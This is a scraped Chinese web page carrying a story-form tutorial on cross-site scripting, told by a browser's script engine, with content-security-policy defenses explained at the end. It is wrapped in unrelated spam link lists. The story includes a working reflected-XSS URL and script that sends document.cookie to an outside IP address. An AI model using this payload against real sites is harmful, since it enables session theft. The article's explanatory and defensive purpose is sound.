当前位置: 首页 > news >正文

电子印章在线制作网站用户服务管理系统

电子印章在线制作网站,用户服务管理系统,seo运营学校,济南百度整站seo推广作者 | 编程技术宇宙责编 | Carol封图 | CSDN 付费下载自视觉中国神秘URL我叫小风#xff0c;是Windows帝国一个普通的上班族。上一回说到因为一个跨域请求#xff0c;我差点丢了饭碗#xff0c;好在有惊无险#xff0c;我的职场历险记还在继续。“叮叮叮叮~~~~”#xff… 作者 | 编程技术宇宙责编 | Carol封图 | CSDN 付费下载自视觉中国神秘URL我叫小风是Windows帝国一个普通的上班族。上一回说到因为一个跨域请求我差点丢了饭碗好在有惊无险我的职场历险记还在继续。“叮叮叮叮~~~~”闹钟又把我给吵醒了我一看时间竟然已经这么晚了。我赶紧起身准备要去上班好不容易在那家浏览器公司谋了个差事可不敢迟到。今天又是普通的一天很快就到了深夜上网业务少了我和小雪妹子一合计伙同负责网络连接的老白和负责存储的小黑一起打起了麻将。一连打了几圈正在兴头上公司的美女前台跑了过来“你们几个别玩了上网业务来了。老白这是URL给”我瞅了一眼这URL看上去有些奇怪不仅比之前见过的都长貌似还夹杂着一些JavaScript代码。http://zone.oo.com/user/info.jsp?desc/script$(body).append(img srchttp://192.168.59.129?cescape(document.cookie)  )/script!-- “老白这URL长的好奇怪会不会有什么问题”我向老白问到。“嗨你小子就是新来的我见过的URL比你执行过的JS代码都多什么奇形怪状的没见过大惊小怪”老白不屑一顾。“大家把牌盖着都别看忙完了回来咱接着打”老白继续说到。于是大家各归各位准备处理这一单上网业务。很快老白取回了这个URL背后的网页交给了小雪来解析渲染。小雪做了一半叫住了我“风哥又有 script 标签了该你上了”。我接过小雪手里的网页猛地一看这不是刚刚URL里面出现的代码吗怎么又跑到网页里面去了心里突然涌上一种不好的预感正在困惑之中老白催我了“小雪小风你俩赶紧的网页加载半天了还没显示出来”但愿是我多想了我开始执行这 script 标签中的代码了。script$(body).append(\img srchttp://192.168.59.129:10086?c  escape(document.cookie)  ) /script我要创建一个新的 img 标签添加到网页正文中去。看了一下这个图片的来源是一个新的地址再一看还要把当前网站的Cookie带着作为参数才能拿到这个图片。我来到小黑的存储仓库准备向他索要Cookie。当我表明来意以后小黑也显得有些谨慎“按照公司规定一个网站的Cookie是不能随便给别的网站访问的”“这我当然知道不过现在是这个网站的JS代码主动把Cookie取出来发给别人这不算违反公司规定吧”我解释到。小黑邹着眉头想了一想也就同意了。我拿到cookie后构建了一个完整的 img 标签添加到了网页的DOM树中之后还给小雪继续渲染。网页很快渲染完成展示出来了忙完之后我们继续开始未完的牌局。过了一会儿人类终于关掉了浏览器我们也可以下班了······XSS跨站脚本攻击第二天一早我刚到公司小雪妹子就转过头告诉我“风哥主管让你去趟他的办公室他好像不太高兴你当心点”“你知道是什么事情吗”“我也不太清楚只听说你执行了什么错误的JavaScript代码”我心里一紧感觉大事不妙难道是昨晚那奇怪的代码有什么问题来到主管的办公室见里面坐了一个年轻小哥。我轻轻的敲了敲门问到“主管您找我有事”主管见我到来指着旁边的沙发示意我也坐下。“你闯祸了知道吗”领导扔给我一页文件。我拿起文件一看上面赫然写着我昨晚执行那段奇怪的JavaScript代码。“主管我不太清楚这是有什么问题吗”我小声问道。主管指着旁边那个年轻小哥说到“这位是OO空间网站的负责人让他告诉你吧”小哥点了点头说到“是这样的我们发现有人盗用我们网站的Cookie免登录直接访问了进去经过日志排查发现是你们这里把Cookie泄露的所以想过来了解一下情况。”“这段代码是你们网站自己的我只是完成我的工作执行了它而已啊”我开始有些紧张了。“可是我们网站根本没有这段代码也不可能把Cookie就这样发给别人的”这小哥也争辩道。办公室的气氛变得有些紧张现场陷入了短暂的安静。就在此时年轻小哥出去接了一个电话。片刻之后小哥再次回到办公室脸色突然和缓了许多笑着说到“不好意思刚刚接到同事的电话说他们已经排查出了问题是我们网站对URL中的参数没有检查直接写入了网页中被人利用传入了JS代码。跟你们应该没有关系实在是抱歉”听完我松了一口气差点就要背锅了。回到工位我把事情的经过告诉了大伙。小雪听后吐槽“那些奇奇怪怪的URL就别乱点嘛真是给我们添乱”“你看你看我昨晚上就觉得有些不对劲。这坏蛋手段挺高啊能想出这么个损招咱们给这种攻击方式取个名字吧”小黑说到“叫Cross Site Script攻击怎么样”老白点了点头“跨站脚本攻击嗯总结很到位那就简称CSS吧”小雪一听转过头来“你叫CSS那我的层叠样式表岂不是要改名让贤”老白挠了挠头有些不好意思“哦忘了这一茬。那改一下叫XSS这总可以了吧”我们都点了点头就这么定了。XSS Auditor虽然这一次的事情责任不在我们浏览器不过我一直还是有些后怕。这天晚上我又仔细回忆了那天整个事情的经过。突然脑子里灵光一闪发现一个重要的特点。既然JS代码同时出现在了请求的URL中和响应的网页中何不利用这个特点来进行针对性拦截呢越想越难入睡连夜写起了方案。第二天来到公司打算将昨晚的方案汇报给主管挣一下表现。我再次来到主管办公室主管见是我招呼道“小风啊来来来刚好找你有点事”我快步走了进去只见主管又拿出了一叠文件放在我的面前随后说到“这是我搞到的绝密资料是咱们隔壁Chrome浏览器公司的一个叫XSS Auditor的技术据说可以阻止类似上次的攻击事件你抽空研究一下”我脑子一懵赶紧快速浏览了这份文件没想到居然跟我的方案撞到一块儿了而且比我想的还全面细致。我只好悄悄收起了原来准备汇报的方案······几天后主管宣布我们也要用上这种技术增强咱们浏览器的安全性。存储型XSS“听说了吗隔壁Chrome浏览器公司也发生XSS攻击了”一天中午老白神神秘秘的说到。我一听来了精神“不是有XSS Auditor吗怎么还会发生这种事”“这回那些坏蛋换招了他们没有把JS代码放在URL中XSS Auditor自然是发觉不了了”“不在URL中那放哪里了”“听说是存在了数据库里访问网页的时候从数据库里读取出来后直接给填充到了网页上了喏就像这样”老白说完画了一个图。“对了他们借此机会把XSS攻击分成了两种以前那种直接通过URL把JS代码注入进网页的方式叫做反射型XSS 这一次这种叫存储型XSS。”老白继续说到。我看了老白的图一下就明白了“这一招也太狠了存进了网站的数据库里所有人访问页面都得中招。”“可不是咋的OO空间网站那边已经乱成一锅粥了正在内部整顿对所有的输入进行全面的检查过滤防止JS代码混进去。”“这种事情还是得他们网站自己做好检查咱们浏览器也帮不上什么忙”一旁的小黑也插了一嘴。大家七嘴八舌聊了几句就散了。虽然小黑说的也没错不过上次的方案撞车我一直不太服气这一次机会来了我要是能再想出一套方案能把这次的新型XSS一并解决的话那就扬眉吐气了。之后一段时间一有闲暇我就开始思考这个问题却一直没什么进展。CSP这一天中午没什么工作要忙我又想起了这个问题小雪他们又组织打麻将我没有心思便拒绝了。老白闻讯过来说到“小风你还在想那个问题啊你这两天没看新闻吗W3C标准化组织推出了一个新技术已经把这个问题解决了”老白的话如当头一棒“什么技术怎么解决的”“你看你天天关起门来研究都不知道外面的世界变化有多快。你去了解一下好像叫什么Content Security Policy哦对就是这个简称叫CSP。”我赶紧去打听了这个叫CSP的新技术看完直拍大腿我怎么就没想到。CSP规定了一个叫Content-Security-Policy的信息网站通过这个信息告诉浏览器哪些外部资源可以加载和执行。这个信息可以用HTTP头的形式出现像这样也可以通过 meta 标签出现像这样meta http-equivContent-Security-Policy contentscript-src self; object-src none; style-src cdn.example.org third-party.org; child-src https:至于里面的内容则是将所有可能出现外部资源加载的地方进行了指示浏览器拿到它就能知道能去哪些地址加载对应的资源如果资源所在的地址不在名单之内就拒绝加载- script-src外部脚本 - style-src样式表 - img-src图像 - media-src媒体文件音频和视频 - font-src字体文件 - object-src插件比如 Flash - child-src框架 - frame-ancestors嵌入的外部资源 - connect-srcHTTP 连接通过 XHR、WebSockets、EventSource等 - worker-srcworker脚本 - manifest-srcmanifest 文件比如 img-src的内容是self那所有的 img 标签的src属性必须是在当前网站才行如果加载其他地址的图片就会拒绝。不仅如此还提供了一个叫report-uri的字段字段内容是一个服务器地址浏览器发现有不符合规定的资源加载后除了拒绝加载还可以把这一情况报告给这个地址网站就能及时知道预警了。真是完美的解决方案没想到竟然这么多竞争对手都已经用上了这项技术。当天下午我就拉着老白去到领导办公室说服他将这项技术在咱们公司也用起来。烦人的XSS攻击总算是缓解了不少我们也难得度过了一段时间的太平日子。未完待续······彩蛋太平的日子没有太持久那件事之后半个月我又因为执行一段JS代码霸占CPU太久被帝国安全警卫队勒令我们浏览器公司强制关闭。执行JavaScript这份工是越来越不好打了。预知后事如何请持续关注……推荐阅读云计算巨头们的背水一战整理了一份 Docker系统知识从安装到熟练操作看这篇就够了 | 原力计划借助大数据进行社交媒体营销企业们得这么玩追忆童年教你用Python画出儿时卡通人物AI 终极问题我们的大脑是一台超级计算机吗公链的历史交叉口PoS还能走多远真香朕在看了
http://www.zqtcl.cn/news/936669/

相关文章:

  • 山西孝义网站开发平面设计类网站有哪些
  • 手机版怎么做微电影网站青岛网站设计定制
  • 部队织梦网站模板免费下载红河网站建设代理
  • 网站开发学院网页制作模板html图片
  • 企业门户网站模板html上线网站备案和实名认证
  • 抖音代运营内容seo职业规划
  • dedecms网站制作教程做网站买好域名怎么办
  • 网站建立于网页设计ai网站设计
  • 青海省建设工程造价网站电商设计网站培训
  • 软件开发过程的阶段划分优化手机访问网站速度
  • 知名网站建设公司做分销网站好吗
  • 服务器php网站打不开潍坊网站模板在哪
  • 网站管理员要干些什么开发公司专票
  • 陕西省建设银行网站6网站都有什么类型的
  • 哪里有做网站设计全国室内设计学校
  • 简单的网站php开发教程账户竞价托管哪里好
  • dede网站搬家教程浙江省住房和城乡建设部网站
  • 网站分页符怎么做做网站是什么意思
  • 影视网站开发工程师店铺装修
  • ip138查询网站网址域名ip网站外包制作
  • 网站建设需求怎么写网站seo快速排名优化
  • 网站后台文章添加成功 不显示注册安全工程师是干什么的
  • 网页制作网站建设百度网站推广费用多少钱
  • 长沙网站建设软件wordpress加菜单
  • 网站建设教育板块wordpress $pagenow
  • 岳阳手机网站建设自己可以给公司做网站吗
  • 旅游网站建设目的关于建设网站的需求分析
  • 手机可以建立网站吗自己造网站
  • 厦门建网站哪家好手机编程网站
  • 网站搭建后台奥门网站建设